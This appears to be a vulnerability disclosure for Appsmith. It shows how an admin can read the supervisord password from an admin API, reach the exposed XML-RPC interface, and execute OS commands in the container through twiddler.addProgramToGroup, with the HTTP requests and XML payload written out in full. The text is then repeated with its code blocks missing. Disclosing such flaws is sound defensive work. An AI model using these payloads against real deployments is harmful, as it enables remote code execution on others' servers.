Summary
Appsmith's bundled supervisord exposes an XML-RPC interface on port 9001, reachable from
outside the container via a Caddy reverse-proxy route at /supervisor/* on the public
ingress.
Combined with the APPSMITH_SUPERVISOR_PASSWORD exposed via GET /api/v1/admin/env, any
authenticated administrator can send arbitrary XML-RPC calls to supervisord and execute OS
commands inside the Docker container via twiddler.addProgramToGroup.
Prerequisites
| Requirement |
Detail |
| Authenticated user |
Admin (SuperUser) session |
| APPSMITH_SUPERVISOR_PASSWORD |
Obtained via GET /api/v1/admin/env (admin-only) |
Attack Chain
Step 1 — Obtain supervisord credentials
GET /api/v1/admin/env HTTP/1.1
Host: TARGET
Cookie: SESSION=<admin_session>
X-XSRF-TOKEN: <token>
Response includes:
{
"APPSMITH_SUPERVISOR_PASSWORD": "<random_generated_password>"
}
The supervisord HTTP interface uses this value as the Basic Auth password with username
appsmith, as defined in:
# deploy/docker/fs/etc/supervisor/supervisord.conf
[inet_http_server]
port = *:9001
username = appsmith
password = %(ENV_APPSMITH_SUPERVISOR_PASSWORD)s
The interface is reachable from outside the container via Caddy:
# deploy/docker/fs/opt/appsmith/caddy-reconfigure.mjs
redir /supervisor /supervisor/
handle_path /supervisor/* {
import reverse_proxy 9001
}
Step 2 — Authenticate and enumerate supervisord processes
POST https://TARGET/supervisor/RPC2
Authorization: Basic base64(appsmith:<APPSMITH_SUPERVISOR_PASSWORD>)
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>supervisor.getAllProcessInfo</methodName>
<params></params>
</methodCall>
→ HTTP 200 — returns full process list (backend, editor, rts, cron...)
Step 3 — Execute arbitrary OS command via twiddler.addProgramToGroup
POST https://TARGET/supervisor/RPC2
Authorization: Basic base64(appsmith:<APPSMITH_SUPERVISOR_PASSWORD>)
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>twiddler.addProgramToGroup</methodName>
<params>
<param><value><string>backend</string></value></param>
<param><value><string>rce_shell</string></value></param>
<param><value>
<struct>
<member>
<name>command</name>
<value><string>bash -c 'id > /tmp/rce_proof.txt'</string></value>
</member>
<member>
<name>autostart</name>
<value><boolean>1</boolean></value>
</member>
<member>
<name>autorestart</name>
<value><string>false</string></value>
</member>
</struct>
</value></param>
</params>
</methodCall>
→ HTTP 200 — program registered and started immediately (autostart: true)
→ OS command executed as appsmith user inside container
Summary
Appsmith's bundled supervisord exposes an XML-RPC interface on port 9001, reachable from
outside the container via a Caddy reverse-proxy route at
/supervisor/*on the publicingress.
Combined with the
APPSMITH_SUPERVISOR_PASSWORDexposed viaGET /api/v1/admin/env, anyauthenticated administrator can send arbitrary XML-RPC calls to supervisord and execute OS
commands inside the Docker container via
twiddler.addProgramToGroup.Prerequisites
GET /api/v1/admin/env(admin-only)Attack Chain
Step 1 — Obtain supervisord credentials
Response includes:
{ "APPSMITH_SUPERVISOR_PASSWORD": "<random_generated_password>" }The supervisord HTTP interface uses this value as the Basic Auth password with username
appsmith, as defined in:The interface is reachable from outside the container via Caddy:
Step 2 — Authenticate and enumerate supervisord processes
Step 3 — Execute arbitrary OS command via twiddler.addProgramToGroup